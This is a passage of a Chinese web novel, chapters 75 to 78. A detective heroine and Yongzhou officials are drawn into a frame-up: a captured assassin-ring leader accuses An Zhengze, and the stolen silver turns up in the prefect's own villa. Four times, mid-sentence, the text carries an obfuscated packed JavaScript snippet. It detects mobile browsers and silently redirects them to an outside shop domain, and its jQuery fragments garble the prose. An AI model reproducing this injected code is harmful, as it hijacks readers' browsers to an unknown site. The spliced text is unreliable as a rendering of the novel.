安亭桓道:“我气都气饱了,还吃什么?要是旁人伤了你,我早就去抓他们全家了。偏偏是太子身边的人,害我束手束脚的,唉!” “七叔别气了,难道您还迁怒太子殿下不成?他也是您的外甥啊。” “正因如此,我才说束手束脚。除非太子自己要治方轩举的罪,否则我们不好开口。” “七叔,喝杯菊花茶,清热去火的。” “你……唉,我真是服了你了,好像瞎了眼的不是你似的。” “事情已经发生了,我又有什么办法?倒不如随遇而安。其实现在这样也挺好的,我能听见草丛间蟋蟀的叫声,以前倒从未注意过。” 安亭桓又是怜悯、又是无奈地看了这个侄子一眼,云水谣也默默地瞧着安正则,心中感慨万千。她觉得自己似乎泛起了母性,对安正则产生了无限的悲悯之情。安正则就像一只受伤的小鸟,让她很想照顾。 随即她又为自己的想法感到可笑,安正则这种世家公子,哪里用得着她来照顾了?再说,人家也不是小鸟。雄鹰瞎了眼也是雄鹰,那份心气和魄力始终未曾跌落。 管家来福侍立在一边,时不时地摸摸鼻子。 安亭桓见了,便有些不耐烦地道:“来福,你总摸鼻子做什么?” 来福道:“七爷恕罪,最近老奴得了鼻炎,鼻子有些不舒服。” “既如此,就下去休息吧。” “谢七爷。” 吃得差不多了,仆人来报:“刺史大人和长史大人来拜。” 安正则道:“快请。” 刺史顾鸣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14290275|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泉和长史吴青峰走了进来,安正则恭敬地行了礼,安亭桓却冷哼一声,并不跟他们打招呼。 顾刺史对安亭桓赔笑道:“亭桓公也在啊?” 安亭桓斜着眼睛看他:“不然呢?我们安氏的嫡长孙都差点死在雍州了,我再不来看看能行吗?” 顾刺史道:“此事乃是意外,下官已尽力拘捕方彩杏,定会给理国公府一个交代。” “别说这些套话,你只说抓到人没有?” “这……还需一些时日。” “哼,若一个月内找不到凶手,你们就等着被皇上问责吧!” 顾刺史冷汗都下来了,只得赔着小心,说自己一定会尽力之类的话。 刺史是三品官,中书舍人只是五品,但是安亭桓出自五姓七家之一的颍阳安氏,且又是理国公府的嫡系子孙,中书舍人又是天子近臣,参与机要,因此安亭桓在面对这些外官时,十分倨傲,顾刺史反而生怕得罪他。 顾刺史对安亭桓道:“亭桓公,我已经让新来的云司马专门负责这一案件,一定会给你们一个交代。” 安亭桓面色稍霁,他本想责令云水谣尽快抓到凶手,又觉得对一个女孩子发火不好,司因此便没再说什么。 这时,元景佑却突然飞了出去,直奔一株榕树后面。 云水谣不知道他想干什么,还来不及说话,紧接着,元景佑便从榕树后面抓了一个黑衣蒙面人,点住他身上的几大穴道,让他没法逃走,然后又踢了他的膝盖窝,让他跪下。 元景佑道:“我方才见这个黑衣人在榕树后面鬼鬼祟祟的,因此便自作主张将他抓住。我怕一旦声张他就跑了,因此没有提前说明,还请安公子、刺史大人勿怪。” 安正则道:“无妨。且看看他是谁。” 元景佑揭开那黑衣人的面纱,露出一张和气的圆脸。这张脸平平无奇,并无什么特别之处。然而,云水谣却有一瞬间的愣神,总觉得在哪里见过这个人。 这时,云水谣身后站着的女护卫徐二妞却叫道:“王大兴!他是王大兴!” 那黑衣人见到徐二妞,也很惊讶。 经徐二妞这一提醒,云水谣也想起来了,这黑衣人确实是松江县的富商王大兴,他的真实身份是百尺楼的首领之一,专门为百尺楼培养女杀手的。 几个月前,云水谣和孟荀调查女孩失踪案,查到了王大兴头上。他家常年养着百来个歌舞伎,且这些歌舞伎皆穿蓝衣,每隔一段时间都会被换掉一批。 根据这些特性,云水谣怀疑那些女孩便是百尺楼拐来的,要培养成杀手,事实果真如此。 后来,云水谣联合杜羽等人,救回了一批女孩,但王大兴却趁乱逃走了。 而徐二妞,便是上次救回的女孩之一。她因不受家人欢迎,很久之前已经被云水谣收编为女护卫了,无论云水谣去哪里,她都跟随。 没想到,徐二妞竟会在此处见到自己以前的主人王大兴。 云水谣道:“王大兴,你为何鬼鬼祟祟来这里?上次被你跑了,这次你可跑不了了。” 王大兴冷哼一声:“我只是路过。” 75.争执 “我信你个鬼!安府院落深,这里已经是第四重院落。你竟能躲开前三重院落的护卫,路过此处?我看,你是特意过来的吧。说,有什么目的?” 王大兴沉默不语,云水谣看着来气,想让景佑打他。 这时,顾刺史问道:“云司马,你认识此人?” 云水谣便简单说了一下以前的事,顾刺史道:“原来此人是百尺楼的头目,莫非是接了单子来杀人的吗?他既来安宅,莫非是要刺杀安公子?” 安正则有些惊慌,安亭桓则怒目圆睁,冲上去踹了王大兴两脚,吼道:“可是方彩杏那毒妇派你前来的?她刺瞎安正则的双眼还不够,还想要他的命?” 王大兴被踹得连连咳嗽,好不容易缓过劲来,道:“什么方彩杏,我不认识。我可不是来杀人,而是想看看附近有没有落单的女孩,想抓回去培养成杀手。” 云水谣道:“你又说谎!百尺楼抓女孩,一向只抓那些没人在意的农村女孩,什么时候会到这深宅大院来抓人了?你潜伏进来必有不可告人的目的,现在招供,还可以免受皮肉之苦,否则,便要抓你回雍州大牢,大刑伺候!” 王大兴的嘴唇紧抿着,就跟被缝上了似的。 顾刺史道:“此人冥顽不灵,来人,押回衙门,大刑伺候!” 几个衙役上来按住王大兴,王大兴却突然看向安正则,叫道:“密使,您给小人说句话啊!” 众人都看向安正则,安正则却看不见,只是问道:“他叫谁密使?莫非这里还有其他人?” 云水谣道:“安公子,他叫的是你。” 安亭桓又踢了王大兴两脚,怒道:“你在狗叫什么?什么密使?” 王大兴道:“安正则便是我们百尺楼的密使,是百尺楼大统领的心腹啊。百尺楼最大的首领称作大统领,而大统领身边的人,便被我们称作密使。” 安正则皱眉道:“我并不认识你,你别胡说。” 王大兴的声音越发大了:“密使大人,明明是您约我今日相见的,如今他们要对我用刑,您不能不管我啊!我今日是来向您复命的,您叫我杀掉之前劫走的工部官员,我已杀了。” 安正则向前一步,道:“你说什么?工部那些前来修浚温河的官员果然是被你们劫走的,你还将他们杀了?” “密使大人,您何必装作惊讶的样子?这就是您下的命令啊!” “岂有此理,你别胡乱攀咬。你说我是百尺楼的人,有何证据?” 王大兴正要说话,顾刺史上前一步,问道:“你刚才说,你们劫走了工部的官员,还在今日杀了他们?所以,之前工部官员被劫、二十万两修河款项被盗一事,是你们做的?” 王大兴道:“没错。” 修河款项被劫一案,顾刺史也头疼许久了。本来温河不在雍州境内,那几个工部官员只是途径雍州,没想到连人带银子全都不见了。 朝廷派人来查过,却查不出什么来,朝廷的钦差便让顾刺史调查此案。顾刺史已经查了几个月了,毫无头绪,寝食难安。虽然这个案子没有明确的破案期限,但毕竟是雍州境内发生的大案,如果一直悬而不破,对自己的仕途也有影响。 如今,无意间得知此案的线索,顾刺史十分惊讶,问王大兴:“那些工部官员的尸体,现在何处?” 王大兴道:“在城北悦来客栈的地下密室。” 顾刺史叫来一群士兵,道:“你们去悦来客栈查找,看是否有官员尸体。” 侍卫们领命而去。 顾刺史接着问道:“那二十万两修河款呢?” 王大兴道:“您问安密使不就知道了?” 安正则皱眉道:“我什么都不知道,我也不是什么密使。你说我是密使,可有证据?” “您身上肯定有百尺楼的令牌,只需搜身便是。” 安正则冷笑道:“简直荒谬!本官清清白白,不怕搜身。” 接着,安正则对顾刺史道:“刺史大人,您请搜身吧。” 说着,他便将双臂张开,一副任凭搜身的样子。 顾刺史看了顾亭桓一眼,有些为难道:“这逆贼胡言乱语,不足为信,安公子怎么会跟百尺楼有关呢?想必是这逆贼自知难逃法网,便胡乱攀咬,想将其他人拉下水。” 长史吴青峰道:“刺史大人,虽然您相信安公子,但还是搜一下身,以洗脱他的嫌疑,也让其他人无话可说。” 顾刺史道:“也罢,那就……” 他本想叫衙役来搜身,又觉得这样有些冒犯安正则,便对元景佑说道:“元世子,不如辛苦你来为安公子搜一下身?” 元景佑也是国公府世子,身份跟安正则差不多,让他来搜身,也不算侮.辱。 安亭桓本来挡在侄子安正则身前,不许别人靠近,见搜身的是元景佑,他也不再阻挠,站在了一边。 元景佑走了过去,安亭桓嘱咐道:“元世子,你可要搜仔细了,让众人都看清楚。” 元景佑点头道:“安舍人放心。” 元景佑对安正则说了一声“得罪了”,便搜了搜他的身。 过了一会,元景佑道:“安公子身上除了几块玉佩,什么也没有。王大兴的话不足为信,将他押回衙门吧。” 王大兴又道:“且慢!他身上没令牌,那一定在他家里,还需搜他的家!” 安亭桓怒骂:“大胆贼人!安府岂是你说搜就能搜的?” 安正则倒是无所谓:“七叔,不如就让衙役们搜一下吧,也让其他人没话说。王大兴,你既说我家里有百尺楼的令牌,你得先说清楚那令牌长什么样子。我家里玉牌、银牌、金牌倒是有一些,不过是些装饰物,你若说那些牌便是百尺楼的令牌,那我可说不清楚。” 如今市面上流行用金、银、玉、玛瑙、砗磲等物雕刻成牌的形状,供人把玩,有钱人家确实会有许多玉牌、银牌、玛瑙牌之类的物品,就连云水谣手上都有两块玉牌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14300997|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只是品相一般,价格比较便宜。 云水谣家被抄后,家里的一切都被没收了,这两块玉牌还是她用县令的俸禄买的,闲暇时拿出来看看,解解闷。 王大兴道:“这个容易,我身上便有百尺楼的令牌,令牌都是蓝底金边,顶部雕刻着虎头,材质是乌金石,形状是椭圆形。凡百尺楼的核心人物,都有这样一块令牌,只是在细节处稍有不同。我是百尺楼的副坛主,我的令牌背面用大篆刻了一个‘副’字。安正则是百尺楼的密使,他的令牌背面刻了一个‘密’字。我的令牌就藏在腰间,你们可以取出来看。” 元景佑探了探他的腰带,果然从里面取出一块蓝底金边的令牌,正面刻着虎头,反面刻着“副”字。 元景佑将这块令牌交给顾刺史,顾刺史让衙役们传阅,道:“一会你们搜屋时,看看有没有类似的令牌。” 衙役们领命,开始搜屋。 只是,安府屋子太多,一一搜寻怕是要很久。 长史吴青峰建议道:“若真有这样的令牌,一定会妥善保存,不太可能藏在厨房、杂物间、茅房、客厅这种地方。衙役们只需着重搜查书房、卧室即可。” 顾刺史觉得有理,便让衙役们先搜书房和卧室。 过了一会,有个衙役急匆匆地跑过来,手里拿着一个布袋,对顾刺史道:“刺史大人,从卧室找到了这个布袋,布袋里有百尺楼的令牌,还有一串钥匙。” 顾刺史大惊:“什么?拿来看看。” 那个衙役把布袋交给顾刺史,顾刺史从里面拿出一个蓝底金边的椭圆形令牌,令牌的背面刻着一个“密”字,果然是百尺楼密使的令牌。 安正则皱眉道:“怎会如此?” 安亭桓怒道:“这一定是构陷!如此低级的手段,竟敢使到我们面前。一定是这个王大兴事先让人将令牌放入安正则的卧室,然后再污蔑正则是百尺楼的密使!” 顾刺史道:“确实有这个可能。吴长史,云司马,你们怎么看?” 云水谣道:“我们不能仅凭这块令牌和王大兴的几句话,就认定安公子是百尺楼的人。此事还需更多证据。” 长史吴青峰却说道:“安府有这么多侍卫,别人如何能偷偷进安大人的卧室放东西?” 云水谣道:“虽然困难,但也不是不可能。方彩杏都能溜进安府,刺瞎安公子,又全身而退。那么,如果有一个武功跟方彩杏差不多的人,是不是可以神不知鬼不觉地做到这件事?” “别人为什么要这么做?依我看,安大人存在嫌疑。” “这么做的理由可多了,比如有人想扳倒安家,甚至扳倒太子。” 吴青峰皱眉:“云司马,事涉朝政,还请你不要信口开河。” “吴长史,我并非为安大人开脱,我只是觉得我们不能如此武断。” “我并未武断地说安正则就是百尺楼的人,只是说他有嫌疑而已。证据摆在眼前,总不能无罪释放吧?” 76.钥匙 安正则苦笑道:“看来今天这个局是冲我来的。我确实有嫌疑,愿意接受调查,你们可以暂时将我拘禁。” 安亭桓反对:“这怎么行?你今日若自认有嫌疑,那让外人怎么看我们理国公府?之前方彩杏纠缠于你,外界已经有许多流言蜚语,你的名声不能再继续坏下去了。” “七叔,我若凭借自己身后的势力,拒不配合调查,反而会让别人说我仗势欺人,人品不佳。现在我只是暂时蒙冤,只要洗刷嫌疑,名声自然会回正。” “但你的身体也吃不消……” “我已经好多了,只要按时换药,不要长途跋涉便好。在监牢里,还有助于我静养呢。” “你这孩子……你可知监牢是什么地方,你从小娇生惯养的,何曾去过那等肮脏之地……” “七叔放心,我已经是大人了,没你想象的那么脆弱。” “唉……随你吧。” 安亭桓道:“顾刺史,你可要收拾一间干净整洁的监牢,别让正则在监狱里染了病。” 顾刺史忙道:“亭桓公放心,这点小事,下官自会办妥。” 长史吴青峰道:“这布袋里除了这块令牌,还有一串钥匙。这串钥匙是用来做什么的?” 安正则道:“我看不见,可否将这串钥匙拿来给我摸一下?” 吴青峰便把钥匙给他。 安正则摸了摸,道:“我不知道,我家的钥匙不是这样的。” 顾刺史看着这串钥匙,若有所思:“这串钥匙像是在哪里见过似的……” 吴青峰道:“哦?大人见过?” “这些钥匙的结构精巧复杂,像是梅花锁所配的钥匙。梅花锁是市面上新出的锁,里面的锁眼做得弯曲复杂,要用特定的钥匙才能打开,旁人难以仿制,因此防盗效果很好。梅花锁价格昂贵,不是一般人用得起的,且流通时间不长,还未在其他地方出售,目前只有雍州有售。我家里用的也是梅花锁,怪不得眼熟。” 安正则道:“我家用的不是梅花锁,这些钥匙不是我的。大人试想,我为何要将别人家的钥匙藏在自己家里?可见这个布袋本就不是我的,里面的令牌自然也不是。想必是栽赃我的人只顾着把令牌放在我卧室里,忘记里面还藏着一串钥匙,没有拿出来,今日反倒成了为我洗刷冤屈的证据。” 顾刺史点头道:“没错,正常人怎会把别人的钥匙保存起来?想必这个布袋是有人栽赃陷害,说不定就是王大兴放的。” 王大兴道:“安密使,您何必假装呢?之前百尺楼劫走的二十万两银子,就藏在雍州城的一处房子里。而这串钥匙,就是那座房子的钥匙,所以您才跟令牌保存在一起。” 安正则冷笑道:“哦?原来是这样,多谢你指教。我就说,这栽赃之人怎会如此不仔细,漏了一串钥匙在这里。没想到,这串钥匙也是坐实我罪名的关键证物。只是,即便这串钥匙所在的房子里真的藏着二十万两官银,你又怎么能说这钥匙一定是我的? 你身为百尺楼的副坛主,都可以偷偷进入我家,没被前三重院落的护卫发现。那百尺楼内比你功夫高的人,岂不是在我家更来去自如,想放什么东西,就放什么东西?” 安正则此言,确实有道理。即便他房中发现的令牌真是百尺楼的令牌,即便根据那串钥匙真的能找到二十万两官银,也无法确定安正则就是百尺楼的密使,存在着别人栽赃陷害的可能。 所以,安正则并不慌张,反而有一种看好戏的感觉。可惜他双目失明,否则他此刻的眼神必定是戏谑的。 而顾刺史则更关心那二十万两官银在哪里,因此便问王大兴:“这串钥匙对应的房子在哪里?” 王大兴却道:“这我不知道,我只是个干活的。钥匙既然在安密使手里,您应该去问他。” 安正则道:“我并不知道。我跟百尺楼也并无关系,刺史大人信不信我?” 顾刺史道:“从情理上,本官自然愿意相信你。安公子来雍州的时间虽不长,但人品贵重,人所共知。不过,其他事可以先放一边,目前最重要的是找到那二十万两官银。好在这雍州城内,用上梅花锁的人家也不太多,一一排查便好。” 顾刺史看向云水谣:“云司马,你去平沙路的鲁记锁铺,询问店主有谁购买过梅花锁,让店主提供详细名单。梅花锁是鲁记锁铺的老板研究出来的,目前只有他这一家有卖。” “是。” “我先将王大兴和安正则带回州衙,一会你直接回衙门找我。” “是。” 云水谣带着元景佑和一些随从,往鲁记锁铺而去。 大约半个多时辰后,便到了鲁记锁铺。这家锁铺的规模很大,一共有三层,老板就在第一层的柜台后面。 云水谣说明了来意,老板马上提供了购买梅花锁的名单。 除了刺史顾鸣泉外,一共还有八人购买。人数不多,调查起来应该也很方便。 云水谣带着名单回到州衙,顾刺史和吴长史正坐在客厅里。 云水谣道:“刺史大人,名单已经得到。” 顾刺史点头道:“除了本官之外,一共只有八人买过梅花锁。钥匙只有一串,没法分头调查。你们二人马上带一队人马,随本官一一调查这八户人家。” 云水谣、吴青峰道:“是。” 云水谣问道:“大人,安公子和王大兴被您收监了吗?” “是的,不管安正则是不是官银被劫案的幕后黑手,暂时先将他收监,以后再查。如今找到失踪的官银是第一要紧事。” “那中书舍人安亭桓呢?” “他因事务繁忙,已经启程回京了。临走之时,他让我们尽快查清真相,还安正则清白,否则后果自负。” 云水谣在心里想,果真是五姓七家的人,说话就是硬气。 这时,之前被派去悦来客栈找尸体的士兵们回来了,禀告道:“刺史大人,悦来客栈的地下室里,果真有六名官员的尸体,死亡时间应该是今天早上。属下等已经将这些尸体运回。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14311099|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾刺史、云水谣等人赶紧出去查看,果然见六名官员的尸体平躺在板车上。 顾刺史往他们的怀里一掏,掏出这些官员的官凭印信。 顾刺史叹息道:“他们身上有工部的官凭印信,且身上的服制确实是工部官员的衣服,看来这几名死者确实是之前被劫走的工部官员。可惜本官没有及时查清他们的下落,让他们被奸人所害,实在令人痛心。也不知皇上是否会怪罪于我。” 长史吴青峰道:“大人,虽然您未曾救下他们,但至少找到了尸体,也不算全无收获。且您抓到了百尺楼的头目,等会要是能把那二十万两官银也找到,便是有功。皇上非但不会怪罪,可能还会予以嘉奖。” 顾刺史叹道:“但愿吧。来人,先将这几名官员的尸体放到冷库里。云司马,吴长史,你们二人先随我去寻找官银。” 于是几人乘马,带领着一群侍卫,按照名单上的人名挨家挨户去找。 被找上的百姓倒是都很配合,让顾刺史等人拿着那串钥匙试开。 有几户人家不在,顾刺史为了找官银,也顾不得许多了,直接拿钥匙开。 可是,在名单上的这八户人家,都没法用顾刺史手中的钥匙打开门。 他们一阵东奔西跑,已经临近傍晚,云水谣觉得又饿又累又沮丧。 顾刺史也有些泄气,道:“怎么会都打不开……买过梅花锁的人家也就这几家了……” 这时,长史吴青峰提醒:“大人,您似乎也买了梅花锁。” 顾刺史一愣,随即说道:“你怀疑我?” “不是,只是为了洗清嫌疑,您也应该拿这串钥匙去开一开自家的门。” “好吧,那你们跟我来。我买的梅花锁是用在我家的别院里,并不在我平常的住宅。” 云水谣觉得有些尴尬和疑惑,怎么查着查着,竟查到刺史头上去了?还要刺史亲自带路,去他的别院试用这串钥匙,简直尴尬到极点了。 不过,刺史这么做也没错,其余购买梅花锁的人家,跟这串钥匙都不匹配。如果刺史不试试自己家的门锁,别人难免有些不好的猜测。 顾刺史都敢直接带他们过去了,应该是清白的。 云水谣倒觉得这长史吴青峰有几分勇气,竟敢直接让刺史自证清白。 大约骑马半个时辰后,他们来到了顾刺史在郊外的别院。 这里依山傍水,没什么建筑,只有一栋装潢雅致的小楼,地理位置很好。 顾刺史道:“这就是我的别院。” 他拿出那串从安正则府内缴获的钥匙。 钥匙虽多,但哪个钥匙开哪个门,都是有规律的。梅花锁是一整套锁,大约有十几个,不仅可以锁大门,还能把里面的房间都上锁。 每个钥匙上都有不同的标记,跟不同的锁一一对应。 大门的锁是最大的,钥匙也是最大的。 顾刺史找出最大的那个钥匙,去开别院的大门。 没想到“咔哒”一声,门锁竟打开了。 77.官银 顾刺史愣在当地,云水谣和吴长史也愣住了。 王大兴说过,这串钥匙所对应的房子,里面藏着二十万两官银。 现在这串钥匙打开了顾刺史的别院,这意味着什么? 云水谣知道这意味着什么,可她不敢相信事情会如此简单。 顾刺史的脸上满是震惊、错愕、不解。 倒是吴长史先反应过来,把那串钥匙从顾刺史手上夺走,道:“刺史大人,看来您洗脱不了嫌疑了。里面的房间,还是由卑职去打开吧。” 顾刺史喃喃自语:“不……这不可能……” 身后跟着的侍卫们也都看到了这一幕,但他们恨不得自己刚才没看见。他们似乎发现了什么了不得的真相,可他们宁愿自己没发现。 接下来事情会如何发展,他们这些小人物还能有活路吗? 云水谣看出了这些侍卫的紧张不安,安抚道:“你们无需担忧,无论事情真相如何,都不会牵连到你们身上。你们快些跟进来,做个见证。不论里面有没有官银,都需要看个明白。否则心里存疑,传出去什么谣言,反而不好。” 云水谣又看向顾刺史,道:“刺史大人不必紧张,我相信清者自清。先进去看看,也许官银根本不在里面。” 顾刺史脸色灰白,道:“怪不得我觉得这串钥匙眼熟,原来这是我自家的钥匙,只是不知什么时候失窃了……云司马,若是一会真的在别院里找到官银,还请你代为周旋,还我清白。” 云水谣说道:“大人放心,若您真是清白的,我一定会调查清楚。” 长史吴青峰已经走了进去,回头对她们说:“你们为何不进来?是不敢面对吗?” 云水谣保持镇定,道:“没什么不敢的,请吴长史将所有房门打开,找找官银到底在何处。” 吴青峰一马当先,依次打开了房门。 第一个房间是空的。 第二个房间也是空的。 …… 吴青峰开锁的声音,就像一块石头,敲击在每个人的心上。 大家都沉默着。 第七个房间。 打开之后,里面是几个大箱子。 打开箱子,里面是白花花的银子。这些银子都成长条形,上面印着几个大字——“温河治理官银”。 看来,这就是之前被百尺楼劫走的那批官银。 顾刺史闭上眼睛,仿佛被判了死刑。 长史吴青峰转过身来,直直地盯着顾刺史,眼神晦暗不明。 接着,他说道:“刺史大人,虽然您是长官,但如今在您的别院中发现了失窃的官银。按照律法,此事应由更高级别的衙门审理。在真相未明之前,雍州事务应由我和云司马代劳。” 顾刺史点头道:“按照规章流程,确实应该如此。” 他拿出刺史官银,交给了吴青峰,道:“这段时间,就由你暂管雍州一切事务,云司马从旁辅佐。” 云水谣的心跳得很快。这一切发生得太突然了,她还没反应过来。 刺史不是带他们来找失窃的官银吗?怎么会在自己家找到? 现在,吴长史突然主理雍州事务,顾刺史反而成了犯人。而自己似乎没什么变化,仍旧是雍州的属官,只是上司变了而已。 吴青峰紧紧抓着刺史印,眼神中闪过一丝兴奋。 接着,他对侍卫道:“统计一下这里的官银数量。” 侍卫们不敢怠慢,清点起来。 吴青峰走到顾刺史面前,道:“刺史大人,得罪了。您现在应将官服脱下,等候朝廷的进一步调查。” 顾刺史默默地把官服和官帽脱掉,叠得整整齐齐,什么也没说。他里面还穿着一身家常棉服,倒是不失礼。 接着,他便盘腿坐下,宛如老僧入定。 云水谣想跟他说些什么,但又不知道怎么说。 说自己相信他是清白的?还是说原来你是这种人? 说什么都不合适。云水谣也是第一天认识顾刺史,对于他的为人并不了解。他也许是被人陷害,也许不是。 云水谣既无法完全相信他,也无法完全怀疑他。 而且,长史吴青峰的态度,也有些捉摸不透。 自己初来乍到,还是不要贸然出头为好。 云水谣隐隐感觉到,雍州的水很深。 于是,她也干脆找了个椅子坐下来,等待侍卫们的清点结果。 大约一个时辰后,侍卫们清点完毕,回禀道:“这里的官银一共是十九万两。” 云水谣疑惑道:“十九万两?不是说失窃的官银一共二十万两吗?还有一万两去哪里了?” 吴青峰道:“也许这要问刺史大人了。” 顾刺史睁开了眼睛,道:“我不知道。” 吴青峰也没再追问,让人把这些官银抬回衙门里去,顺便将顾刺史押送回去。 顾刺史来时是骑马的,但回去时只能走路。几个侍卫将他团团围住,生怕他逃走。 突然遭此变故,不知顾刺史心中是何感受。 不过,不管他心里在想什么,面上始终是波澜不惊的,只有眉头微微蹙起,似乎有些疑惑和烦心。 云水谣也要骑马回去,但她心事重重,踩马镫时竟踩空了,眼看就要掉下去。 这时,有人扶了她一把,将她稳稳地带到马上。 云水谣回头一看,是元景佑。元景佑没有说话,只是用一种温柔的目光瞧着她。 云水谣躁动不安的内心瞬间便平静了下来。 等一行人回到州衙时,已经是晚上了。 大家都没吃饭,但谁都没胃口。 吴青峰让衙役们先把官银运回仓库,多上几把锁,并派许多衙役轮班看守。 顾刺史需要暂时入狱,他也没有丝毫抵抗,默默地去了吴青峰安排的监狱中。 云水谣对吴青峰道:“我觉得此事有诸多疑点……” 吴青峰打断了她,说道:“云司马,此案不是我们能审理的。我会上书皇上,请大理寺或刑部审理此案。雍州还有许多积压的事务,从明天开始,你就统计一下雍州的人口吧,统计完毕再来见我。” “但安正则被刺瞎一案,还需寻找凶手方彩杏,刺史大人之前说让我先侦破此案……” “如今雍州事务是我代为管理,之前刺史的命令不作数了。安正则被刺瞎一案,本官会亲自负责,就不劳云司马费心了。你刚来雍州任职,还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14321548|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先做一些简单的事务吧。” “是。” 云水谣心中有些不甘,又对吴司马产生了几分疑惑和抵触情绪,但官大一级压死人,如今自己也只能听吴司马的。 于是,她便先回到了自己的住所。元景佑、柳依依等人也跟她一道回来。 丫环们早就准备好了饭菜和热水,云水谣一边吃饭,丫环们一边给她擦手擦脸,洗去这一天积累的尘土。 云水谣让元景佑、柳依依坐下陪她一起吃,元景佑吃了许多饭,但菜吃得不多,把大部分菜都用公筷夹到了云水谣碗里。 云水谣也不谦让,她今天真的饿得很了,但元景佑知道她不爱吃饭,所以只给她留菜。 云水谣吃了许多荠菜、蒸凤爪、红枣糕、虾仁小笼包、青椒肉丝、鸡汤炖豆腐,慢慢地才觉得自己活过来了。 吃完后,丫环们撤去餐盘,上了人参茶和银耳羹,让云水谣润润喉咙。因天色已晚,她们就没放茶叶,怕云水谣喝了睡不着觉。 兰心问:“小姐,可要给您烧洗澡水?” 云水谣摆了摆手,道:“不用了,你们先下去吧,我跟元护卫、柳吏员有事要聊。” “是。” 丫环们都退了出去,留下一个小火炉,火炉上温着茶水,方便云水谣她们喝。 柳依依有些疲倦,坐在椅子上,以手支颐,略作休息。 云水谣和元景佑相邻而坐,慢慢喝茶。 元景佑问道:“大人可是在烦心今日之事?” 云水谣道:“是啊,今天遇到太多事了……先是安正则眼盲,凶手方彩杏出逃在外,杳无踪迹。皇上又责令限期破案,可吴长史又不许我插手此案…… 而安正则分明是来调查百尺楼劫走工部官员和官银一案的,可为何他又突然变成了百尺楼的密使,被王大兴指认,还从他的卧室搜出了百尺楼的令牌和藏官银的钥匙……而顾刺史,明明是要去寻找官银的,可官银却藏在他的别院之中,他自己反而成了阶下囚…… 而且,官银明明有二十万两,可现场却只有十九万两,还有一万两去哪里了?若说是被贼人偷盗,贼人为什么不全部偷走呢? 这桩桩件件,实在是又多又杂乱,理不清头绪。” 元景佑道:“不妨将这些事情分开看。安公子眼盲是一件事;他奉太子之命调查工部官员被劫案,查到了百尺楼头上,但最终却被指认为百尺楼密使是第二件事;顾刺史带着钥匙去找官银,最后却找到他自己的别院,是第三件事。 这第一件事,安公子眼盲,是比较简单的案子,受害者是安公子,加害者是方彩杏,唯一需要做的是将方彩杏缉捕归案。 第二件事,如果太子一党真的跟百尺楼有勾结,工部官员和官银被劫一案,其幕后主使者就是太子、安正则等人,那么他们不该如此积极地来查这个案子。即便是皇上授意太子查案,太子也应该让安正则设法拖延,或是找别的棋子来背黑锅,他们绝不会自己说出百尺楼跟此事有关。 一旦官府重点攻破百尺楼,相当于太子少了一股干黑活的势力,对太子一党很不利。可今日我们见到安公子时,他却主动提起他在暗中查案,还查到了百尺楼头上,所以此事不合常理。” 78.分析 元景佑接着分析:“第三件事,顾刺史如果真的跟太子、安正则等人勾结,负责藏匿官银,那他为何要把二十万两官银藏在自己的别院中?这简直是自己给自己树了个靶子。以顾刺史的能力,在雍州境内随便找个隐蔽的地方藏匿官银,并不是难事。且今日他发现官银在自己别院内,那种震惊、错愕的表情不似作假。” 柳依依虽在小憩,但也把两人的话都听了进去。她坐直了身体,说道:“会不会是顾刺史觉得没有人敢搜他的别院,也没有人会怀疑藏匿官银的是他,所以他大意了,把官银藏在自己的别院?他那座别院处在郊外,周围没有什么建筑,是一个很好的藏匿之所。” 云水谣道:“这个推测,也有几点不合理之处。首先,今天在安正则家搜出那串钥匙的时候,顾刺史主动说这串钥匙有些眼熟,还提起这种钥匙是梅花锁的钥匙,自己也曾买过梅花锁。如果他真的藏匿了官银,应该设法隐瞒,而不是主动提起这些事,把嫌疑往自己身上引。 